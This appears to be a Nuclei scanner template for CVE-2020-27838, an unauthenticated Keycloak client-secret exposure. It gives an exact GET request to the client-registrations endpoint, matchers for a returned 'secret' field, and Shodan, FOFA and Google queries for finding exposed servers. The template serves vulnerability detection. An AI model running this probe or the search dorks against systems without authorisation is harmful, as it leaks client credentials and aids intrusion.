id: CVE-2020-27838

info:
  name: KeyCloak - Information Exposure
  author: mchklt
  severity: medium
  description: |
    A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the KeyCloak server.
  remediation: |
    Apply the latest security patches or updates provided by the KeyCloak vendor.
  reference:
    - https://bugzilla.redhat.com/show_bug.cgi?id=1906797
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27838
    - https://github.com/muneebaashiq/MBProjects
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-27838
    cwe-id: CWE-287
    epss-score: 0.17943
    epss-percentile: 0.96804
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redhat
    product: keycloak
    shodan-query:
      - "title:\"keycloak\""
      - http.title:"keycloak"
      - http.html:"keycloak"
      - http.favicon.hash:-1105083093
    fofa-query:
      - title="keycloak"
      - icon_hash=-1105083093
      - body="keycloak"
    google-query: intitle:"keycloak"
  tags: cve,cve2020,keycloak,exposure,redhat,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default/security-admin-console"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '"clientId":\s*"security-admin-console"'
          - '"secret":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008aef231c483442b2aa557e83a89e3c28773a9ec88b0e4591db8c7bd9d3ac5adc022100be3a99dc1a18f5999d6aefd1c1705afda258193d2f34c3e54ee58318c73d8152:922c64590222798bb761d5b6d8e72950